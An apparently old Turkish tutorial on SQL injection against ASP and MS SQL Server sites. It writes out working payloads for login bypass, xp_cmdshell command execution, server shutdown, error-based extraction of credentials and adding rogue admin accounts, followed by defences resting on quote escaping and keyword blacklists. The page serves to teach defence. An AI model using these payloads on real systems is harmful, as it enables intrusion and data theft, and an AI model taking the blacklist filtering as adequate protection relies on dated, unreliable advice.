Webmaster
Tasarım Dersleri
Kullanıcı girişi
Kimler çevrimiçi
Etiket bulutu
SQL Enjeksiyon Saldırıları ve Korunma (SQL Injection)
Dünyanın her tarafında, kullanıcılarına; kredi kartı numaraları, kullanıcı bilgileri gibi gizli kalması gereken bilgilerin, ürünlere ve siparişlere ait verilerin saklandığı uç-arka veri depolarıyla hizmet veren web siteleri bulunmaktadır. Ve genel olarak, web sitelerindeki form aracılığı ile alınan girdi ile veritabanındaki bilgiler filtrelendikten sonra sonucu kullanıcıya gönderen bu tür sistemlerde Yapısal Sorgulama Dili (Structured Query Language - SQL) kullanılmaktadır. Uygulama içerisinde kullanılacak parametre değerleri alınırken kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle güvenlik problemleri ortaya çıkmaktadır.
Bu güvenlik problemleri kullanılarak bir uygulamanın arkasında, bu uygulamaya destek veren veri tabanı üzerindeki bütün bilgilere ulaşılabilir veya bilgiler üzerinde değişiklik yapılabilir. Veya veri tabanı sisteminin komutları kullanılarak kullanılan sunucular üzerinde uygulama harici istenen işlemler de yapılabilir. Bu problemlerden korunmak için de uygulama girdilerini bu tür karakterlere karşı kontrol eden fonksiyonların kullanılmalı ve geniş çaplı uygulamaların bu güvenlik açıklarını taşıyıp taşımadığını anlamak için güvenlik denetimine tabi tutulmalıdır..
İlgilendiren Sektör ve Şirketler:
* Özel olarak geliştirilmiş uygulamalar kullanan tüm kurum ve kuruluşlar
* Internet / Intranet üzerinde uygulama geliştiren kuruluşlar
1. Bir Uygulama Güvenliği Problemi - "Yapısal Sorgulama Dili Kullanımı"
Yapısal Sorgulama Dili SQL’in uygulamalarda kullanımına örnek vermek gerekirse;
SELECT Name, Address FROM Users WHERE UserID = ’2081’
Şeklindeki SQL Deyimi "Users" adlı tablodan "2081" ürün ID si ile veritabanına kayıtlı olan kişiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayıflık, kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle ortaya çıkmaktadır. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini sağlayan fonksiyonlardır.
Hızla gelişen internet teknolojileri karşısında yeni pazarda geç olmadan yerini almak isteyen müşterilerine daha kısa sürede daha kullanışlı ve ucuz çözümler sunmak zorunda olan uygulama geliştiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana atmaktadırlar.
Giderek yaygınlaşan ve medyanın haber potansiyelini oluşturan; çalınan kredi kartı numaraları, yer altı sitelerde dağıtılan müşteri bilgileri, şirket projeleri - yazışmaları yaklaşan tehlikenin habercisi olmakla beraber halen bu tür kayıpların yaratabileceği maddi sonuçları kavrayamayan ve hala "az maliyetle kurtarılan güvenlik projeleri" ’yle övünen yöneticilere uyarı niteliği taşımaktadır. Öyleki -herzaman bir adım önde olmayı amaçlayan- saldırganlar güvenliğin en üst seviyede olması beklenen devlet siteleri de dahil olmak üzere pek çok sisteme yönelik saldırılarına da ara vermeksizin devam etmektedirler.
Maddi ve manevi değere sahip şirketinizi bir anlamda iş ortaklarını olan uygulama geliştiricilerin hazırladıkları uygulama ürünlerine emanet edildiğini düşünürsek, "uygulamalarınıza ne kadar güvenirsiniz?" gibi bir soruya verilecek cevap büyük önem taşımaktadır.
Böyle bir ortamda uygun güvenlik çözümü için ayrılmış bütçe bir lüks değil her an yapılabilecek bir saldırıda şirketin uğrayacağı zararı ortadan kaldırmak için alınması gereken önlem niteliği taşımaktadır.
2. Örnek Saldırılar - "Yapılacak Hamleleri Önceden Tahmin Edebilmek..."
Güvenlikte sıkça kullanılan bir deyim; "Saldırganlardan korunabilmek için onlar gibi düşünmelisiniz!..". Saldırganın sisteminize girmek için kullanabileceği yöntemleri bilmek bu saldırılardan korunabilmek için alınan önlemleri daha sağlıklı kılacaktır.
Örneklerde kullanacağımız hedef ; Microsoft® Internet Information Server™’ dan Microsoft® SQL Server™’a varsayılan sistem hesabı’ndan (sa) bağlanan ASP tabanlı bir kullanıcı hesabı yöneticisi olacak.
Form.asp : Username ve Password girdisini alan form.Solda...
Login.asp : Veritabanı ile bağlantıya geçen ve girdinin doğruluğunu kontrol eden ASP kodu.
2.1. Kötü Amaçlı (’) İmleçleri Yardımıyla İzinsiz Giriş Sağlama:
Kullanıcı "Username" & "Password" verisini Login.asp ye yolladıktan sonra .asp kodunun yapacağı iş verilen yoldaki veritabanı ile bağlantı kurup ilgili tabloda Username ve Password sütünlarında gönderilen verinin doğruluğunu kontrol etmek olacaktır. Bu işlem sonucunda eğer sonuç olumluysa kullanıcıya; "Giriş Yapıldı" olumsuzsa; "Geçersiz Kullanıcıadı & Şifre" mesajı verilecektir.
Örnekleyecek olursak;
Username : ilkay
Password : 2081
Şeklindeki kullanıcı girdisi aşağıdaki SQL Deyimini oluşturacaktır;
SELECT count(*) FROM Users WHERE Username = ’ilkay’ AND Password = ’2081’
İlk bakışta sorun olmayan bir SQL Deyimi... Fakat saldırganın;
Username : ilkay
Password : ’ OR 1=1--
Şeklindeki girdilerle oluşturacağı SQL Deyimi ise;
SELECT count(*) FROM Users WHERE Username = ’ilkay’ AND Password = ’’ OR 1=1 --’
Olacaktır ki, bu durumda girişin sağlanması için şart "ilkay" kullanıcı adına ait şifrenin hiçbirşey* olması veya ikinci bir opsiyon olarak 1=1 eşitliğinin sağlanmasıdır.
* Hiçbişey = Boşluk
Sonuç : 1=1 eşitliği sağlandığına göre saldırı başarıyla sonuçlanacak ve "Giriş Yapıldı" mesajı verilecektir.
Not : Microsoft® SQL Server™ "--" imlecinden sonra gelen yersiz kullanılmış tırnak işaretlerini göz ardı edecektir. İlk bakışta basit gibi görünen ve sadece SQL Server’a ait olan bu özellik ilerde örneklerden de anlaşılacağı üzere saldırgana büyük kolaylık sağlayacaktır..
2.2. Uzaktan Çalıştırılması Mümkün Olan Prosedürler:
MS SQL Server’a varsayılan sistem hesabından yaptığımız bağlantı SQL Enjeksiyon saldırısında muhtemel saldırgana sunucuda saklanan prosedürleri çalıştırabilmesi için gerekli hakları tanıyacaktır. Saldırganın kullanabileceği prosedürlerden bir tanesi; "master..xp_cmdshell" olabilir.
Username : ilkay
Password : ’; EXEC master..xp_cmdshell ’dir c:’--
Girdileriyle oluşacak SQL Deyimi;
SELECT count(*) FROM Users WHERE Username = ’ilkay’ AND Password = ’’; EXEC master..xp_cmdshell ’dir c:’--’
Sonuç : SQL Server Kullanıcıadı ve Şifreyi bulunduran sütunları arayacaktır bulamadığı için "Yanlış Kullanıcıadı & Şifre" mesajını verecektir fakat bu arada arka planda "dir c:" komutunu çalıştıracak ve saldırgan C sürücüsünün içeriğine ulaşacaktır.
2.3. SQL Server Hedef Alınarak Yapılan Saldırılar:
Yönetici haklarına sahip saldırgan silme,ekleme,değiştirme...vb gibi komutları rahatlıkla çalıştırabilecektir.
SHUTDOWN WITH NOWAIT SQL Server’ın kritik komutlarından bir tanesidir. Komutla beraber SQL Server görevine son verir.
Username : ’; SHUTDOWN WITH NOWAIT--
Password : [Boş]
Bu girdilerle oluşturulan SQL Deyimi;
SELECT Username FROM Users WHERE Username=’’; SHUTDOWN WITH NOWAIT; --’ AND Password=’’
Sonuç : SQL Server kullanıcıadının bulunamadığı mesajını verecektir. Fakat bununla beraber arka planda diğer komutu çalıştırdığı için SQL Server kapanacaktır.
2.4. ODBC Hatalarından Faydalanarak Yapılan Saldırılar:
SQL Server’ın verdiği hatalardan faydalanarak veritabanındaki neredeyse tüm bilgilere ulaşmak mümkündür.
Hedef; http:// Victim/Default.asp?id=10 şeklinde ürün ID leri ile çalışan ASP tabanlı bir websitesi.
Saldırı SQL Server’ın integer ve string cinsinden verileri birlikte gönderememesinden faydalınarak yapılabilir;
Gönderilen ’10’ sayısına veritabanından herhangi bir string eklenir.
http:// Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Not: "INFORMATION_SCHEMA.TABLES" sistem tablosu, sistemde bulunan diğer tüm tablolar hakkında bilgi içerir. Deyimde kullanılan "TABLE_NAME" de yine tüm tablo isimlerini içerir.
Oluşacak SQL Deyimi;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki hatayı verecektir.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Table1’ to a column of data type int.
/Default.asp, line 5
Hata, saldırgana "Table1" olarak bulduğu cevabı integer a çeviremediğini (dolayısıyla veritabanındaki ilk tablo adının "Table1" olduğunu) belirtmektedir. Saldırgan diğer tabloların adını aşağıdaki şekilde öğrenebilir...
http:// Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’Table1’)--
Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha kolay yoldan ulaşabilir;
http:// Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25Login%25’--
SQL Server’ın vereceği hata;
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Admin_Login’ to a column of data type int.
/Default.asp, line 5
Admin_Login adında bir tablo olduğunu öğrenen saldırgan muhtemelen tablodaki ilk kullanıcıadı ve şifreye ulaşmak isteyecektir. İzleyebileceği yol ise;
http:// Victim/Default.asp?id=10 UNION SELECT TOP 1 Username FROM Admin_Login--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’ilkay’ to a column of data type int.
/Default.asp, line 5
Bu şekilde "admin" kullanıcıadının varlığını doğrulayan saldırganın şifreyi ele geçirmek için kullanacağı girdi;
http:// Victim/Default.asp?id=10 UNION SELECT TOP 1 Password FROM Admin_Login WHERE Username=’ilkay’--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’2081’ to a column of data type int.
/Default.asp, line 5
Sonuç :
Username : ilkay
Password : 2081
2.5. Veritabanına Ekleme Yapma veya Veri Düzenleme:
Kullanıcıadı ve şifre bilgisine ulaşan muhtemel saldırgan benzer yöntemleri ve UPDATE,INSERT komutlarını kullanarak şifreyi değiştirebilir veya daha temizi başka bir kullanıcı hesabı açabilir...
http:// Victim/Default.asp?id=10; UPDATE ’Admin_Login’ SET ’Password’ = ’NewPwd’ WHERE Username=’ilkay’--
Yeni bir kullanıcı hesabı için;
http:// Victim/Default.asp?id=10; INSERT INTO ’Admin_Login’ (’UserID’, ’Username’, ’Password’, ’Details’) VALUES (666,’Desperate_Cry’,’2081’,’N/A’)--
3. Nasıl Korunmalı? - "Aksi Doğrulanıncaya Kadar Tüm Kullanıcı Girdileri Kötüdür..."
Gelebilecek SQL Enjeksiyon saldırılarından korunabilmek için alınan önlemlerde temel alınması geren nokta... "Aksi doğrulanıncaya kadar tüm kullanıcı girdileri kötüdür!".
3.1. Kullanıcı Haklarının Sınırlandırılması
Yaygın olarak yapılan hata; Web Server dan SQL Server a yapılan bağlantılarda varsayılan sistem hesabı kullanılması... Bu şekilde yönetici haklarına sahip olan saldırgan örneklerde de görülebileceği üzere isteği komutu çalıştırıp istediği ekleme,silme,düzeltme eylemini gerçekleştirebilecektir. Bunu yerine yapılması gereken yeni bir kullanıcı hesabı oluşturup kullanıcının çalıştırabileceği komutları sınırlandırmak olacaktır.
Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasından sipariş verilmesine izin verecekseniz, "web_user" gibi bir kullanıcı adı oluşturup ürünleri incelemek için; ürünler sütununda sadece "SELECT" kullanımına ve siparişleri için; siparişler sütununda sadece "INSERT" kullanımına izin vermeniz uygun olacaktır.
3.2. Girdilerde Tırnak İmleçlerinin (’) Kötü Amaçlı Kullanımının Engellenmesi
Yaygın SQL Enjeksiyon saldırıları SQL deyimlerinin girdilerdeki gereksiz (’) tırnak işaretleri yardımıyla yeniden oluşturulması sayesinde yapılır.
Küçük bir filtreleme fonksiyonu veya tek tırnağı çift tırnağa çeviren bir fonksiyon muhtemel bir saldırıyı engellmek için yeterli olabilir.
ASP Kullanarak girdileri kontrol ederek değiştiren bir fonksiyon kolaylıkla yazılabilir;
<%
Function ReplaceQuotes(strWords)
ReplaceQuotes = Replace(strWords,”’”,”””)
End Function
%>
Bu fonksiyonu baştaki örnekte kullanırsak;
SELECT count(*) FROM Users WHERE Username=’ilkay’ AND Password=’’ OR 1=1 --’
şeklinde olan deyim...
SELECT count(*) FROM Users WHERE Username=’ilkay’ AND Password=’" OR 1=1 --’
’e dönüşecektir.
3.3. Form Girdilerinden Gereksiz Karakterlerin Elenmesi
SQL Enjeksiyon saldırıları genelde ";, --,SELECT, INSERT ve xp_" gibi karakterlerin-kelimelerin kullanılmasıyla yapıldığı için gönderilecek girdinin önce bir filtreleme fonksiyonundan geçirilmesi muhtemel zayıflığı engelleyebilir.Örneğin kullanıcıdan E - Mail adresini girmesi isteniyorsa harfler ve sayıların yanında sadece " @,-,_,." karakterlerinin kullanılmasına izin verilmelidir.
Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanlı DLL ler, kullanıcı taraflı fonksiyonlar...vb, izole edilmiş bir sunucuya taşınmalıdır. Bazı zararlı kelime-harfleri filteleyen ASP fonksiyonu aşağıda örneklenmiştir;
<%
Function FilterBadWords(strWords)
dim BadWords
dim NewWords
BadWords = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE", "xp_"’)
NewWords = strWords
for i = 0 to uBound(BadWords)
NewWords = Replace(NewWords, BadWords(i), ""’)
Next
FilterBadWords = NewWords
End Function
%>
Tırnak değiştirme fonksiyonu ve filtreleme fonksiyonu beraber kullanılırsa;
SELECT Username FROM Users WHERE Usename=’’; EXEC master..xp_cmdshell ’dir c’; --’ AND Password=’’
Şeklindeki SQL Deyimi...
SELECT Username FROM Users WHERE Usename=’" EXEC master.. cmdshell "dir c:" ’ AND Password=’’
e dönüşecektir ki bu da herhangi bir kayıt bulumadığı hatasını vermekten öteye gitmeyecektir.
Bu fonksiyonu kullanıcıdan gelen bütün girdilere, adres satırı ifadelerine ve çerezlerden gelen tüm veriye uygulamamız gelebilecek saldırının önüne geçecektir.
3.4. Girdi Uzunluğunun Sınırlandırılması
Veritabanındaki ayrılan alanın uzunluğu 10 karakterlikse, formunuzda bu alan için 50 karakter sığan bir text kutusuna sahip olmanız sakıncalı olabilir. Ve mümkün olduğu kadar girdi uzunluklarını kısa tutmak muhtemel saldırıyı engellemek için önlem sayılabilir.
3.5. Girdi Cinsinin Kontrol Edilmesi
Formunuzdan girilen verinin istediğiniz türden bir veri olup olmadığını kontrol eden bir fonksiyon kötü amaçlı kullanımlarda saldırganın kullanabileceği harf/sayı seçeneğini kısıtlayacaktır. Mesela, eğer Ürün ID si için formunuzdan girdi alıyorsanız girdinin sayısal bir ifade olup olmadığını kontrol eden bir fonksiyon fayda sağlayacaktır.
3.6. Girdi Cinsinin Kontrol Edilmesi
Formunuz aracılığı ile topladığınız verileri yollarken mutlaka "POST" metodunu kullanın ki kullanıcılarınız adres çubuğunda girdikleri verilerle beraber form değerlerini gördüklerinde akıllarına farklı fikirler gelmesin.
4. Son Söz - "Herzaman bir adım önde!"
Aldığınız güvenlik önlemleri veya (en iyi ihtimalle) yazıp da kullanmayı bir alışkanlık haline getiremediğiniz güvenlik politikaları sizi güvenlik problemlerine karşı koruyabilir mi? Eğer güvenlik ile ilgili problemleri yönetmeyi süreç temelli bir güvenlik bilinci içerisinde ele almıyorsanız hiçbir güvenlik ürünü, bir güvenlik kaybına uğramanızı engelleyemez.
Bilgi sistemleri altyapınızı taşıdıkları güvenlik zaaflarına karşı düzenli olarak kontrol ettirmek, risklerinizi takip etmek, doğru teknolojiyi doğru yerde ve doğru şekilde kullanmanızı sağlayacak güvenlik politikalarınızı oluşturup güvenlik probleminizi sürekli yönetebilecek olgunluğa ulaşmak hedeflenmelidir. Bilgi sistemlerinin önemli bir kısmını oluşturan uygulamaların taşıyabileceği güvenlik sorunları uzun süredir ihmal edilmelerinden dolayı, günümüzün en popüler sistem sızma noktalarını teşkil etmektedirler. Bu nedenle uygulama güvenliğine ilişkin gereken önemi vermeniz, güvenlik denetimi yaptırmanız ve kurumunuzun bilgi güvenliği yönetim sistemini oluşturmaya bir yerinden başlamanızı öneriyoruz.
Anonim
Anket
Son Konular
2012-03-22 19:47 - Geliştirdiğin kodları satmak ister misin
2012-02-12 23:21 - SMF forumu vbulletin foruma aktarmak
2011-12-14 21:50 - Motorlu araçlar otomobil vergisi sorgulama
2011-12-14 21:47 - Sorgulamalar
2011-12-11 14:33 - Ben az önce ne arayacaktım
2011-09-10 22:51 - DSLR Fotograf Makinası sınıflandırması
2011-09-09 17:33 - ‘Crop Factor’ Nedir, hakkında bilgi
2011-09-09 17:30 - Fotograf Rehberi
2011-08-20 21:30 - Samsung LEDTV'lerde .SRF ve XFS süprizi
2011-08-19 00:45 - 2011 yılının web tasarım trendleri
2011-04-09 20:18 - Alan adları gerçek isim sahiplerine verilecek!
2011-01-13 01:43 - SEO İçin Dikkat Edilmesi Gereken Hususlar
2011-01-13 01:42 - Meta tag SEO Optimization
2011-01-13 01:41 - Google Adsense Hakkında Detaylı Bilgi
2011-01-13 01:40 - Soru Ve Cevaplar ile Google Adsense
2011-01-13 01:39 - Arama motoru Google ve Pagerank
2011-01-13 01:38 - Seo Sözlüğü
2011-01-13 01:37 - Google Arama Özellikleri
2011-01-13 01:36 - Adsense Reklam Yerleşimi
2011-01-13 01:35 - Robots.txt Dosyası Kullanım Robotları Yölendirme Kontrol
2011-01-13 01:34 - Sitenizin Google ve Web deki Yeri
2011-01-13 01:33 - Arama Motoru Bilgi ve İpuçları
2011-01-13 01:31 - Arama Motorları Teknikleri
2011-01-13 01:29 - Google Pagerank Detaylı Anlatım
2011-01-13 01:27 - Sitenize Ziyaretçiler En Çok Hangi Kelimeler İle Gelmiş
2011-01-13 01:25 - Pagerank Nedir?
2011-01-13 01:19 - Fireworks Shadow and Glow
2011-01-13 01:18 - Fireworks Sharpen
2011-01-13 01:16 - Fireworks Other
2011-01-13 01:13 - Fireworks Blur
2011-01-13 01:09 - Fireworks Bevel and Emboss
2011-01-13 01:05 - Fireworks Adjust Color
2011-01-13 01:03 - Fireworks Save as Style
2011-01-13 00:58 - Fireworks Text Menüsü
2011-01-13 00:54 - Fireworks Select Menüsü
2011-01-13 00:54 - Fireworks Modify Menüsü
2011-01-13 00:51 - Fireworks View Menüsü
2011-01-13 00:18 - Fireworks Edit Menüsü
2011-01-13 00:16 - Fireworks File Menüsü
2011-01-13 00:05 - İnternet - Web Tarayıcılar (Browser)
2011-01-13 00:04 - İnternet - Web Server Yazılımları
2011-01-13 00:03 - İnternet ve Web İlişkisi
2011-01-13 00:02 - İnternette Kullanılan Protokoller
2011-01-13 00:01 - İnternet - World Wide Web (WWW) Nedir?
2011-01-13 00:00 - İnternet - URL nedir?
2011-01-12 23:43 - İnternet Backorder Nedir?
2011-01-12 23:34 - İnternet - Virüs Nedir?
2011-01-12 23:32 - İnternet Paypal nedir? Nasıl Kullanılır?
2011-01-12 23:31 - İnternet - DNS Nedir?
Günün Konuları
yabanci hostingler . Hikayeler . linux hostingler . hostingler . Adsense . Piwik . Hikaye . kavak ağacı . emek . çalışma . alın teri . ibretli hikayeler . buğday . çiftçilik . buğday yetiştirmek . paylaşmak . üretmek . savaş . savaş hikayeleri . arkadaşık hikayeleri . sadakat hikayeleri . güven hikayeleri . Hostgator . hostgator iyi mi . dreamhost . dreamhost güvenilir mi . dreamhost nedir . dream host . sitem kapatıldı . Brinkster . Brinkster hosting . bedava hosting . ücretsiz hosting . brinkster güvenilir mi . hosting firmaları . windows hostingler . Godaddy . Godaddy hosting . godaddy güvenilir mi . hostnine . host9 . hostnine hosting . hostnine güvenilir mi . mydomain . mydomain hosting . mydomain güvenilir mi . Hostmonster . Hostmonster güvenilir mi . Hostmonster nasıl . Adsense dolandırıcılığı . dolandırıcılık . spam mail . adsense nevigasyon . konu anlatımı . nasıl paylaşılmalı . ne kadar anlatılmalı . ders nasıl verilir . facebook uygulamaları . facebook api . facebook kullanımı . SOAP . SOAP Nedir . Ortak Nesne Modeli . KVM Switch . KVM . Switch . KVM nedir . KVM hakkında bilgi . Donanim . Piwik kurulumu . Piwik nedir . Piwik Hakkında bilgi . Web Analytics . Clicky . Google Analytics . Reinvigorate . Woopra . FireStats . co domain . co uzantılı domain .
Genel Dersler
Programlama
Sponsor Reklamlar
Populer Icerik
Bugün:
Son görüntülenme:
- Windows vista ve windows 7 de 0xc000000f \Boot\Bcd hatası
- Drupal ile PHPBB'ye nikah sekeri
- SQL Enjeksiyon Saldırıları ve Korunma (SQL Injection)
- Hancı Aile Eğlence Merkezi / İzmir
- AJAX Dersleri
- AJAX İle XMLHttpRequest Nesnesi
- En değerli marka Google seçildi
- AJAX Asenkron ve Senkron Meselesi
- Autocad Canlı Kesit Almak (LIVE SECTION)
- Drupalden dinamik müzik sayfasi olusturabilmek














Son yorumlar
2 weeks 1 gün önce
2 weeks 1 gün önce
2 weeks 1 gün önce
2 weeks 2 days önce
2 weeks 3 days önce
2 weeks 3 days önce
2 weeks 3 days önce
3 weeks 2 days önce
3 weeks 6 days önce
5 weeks 5 days önce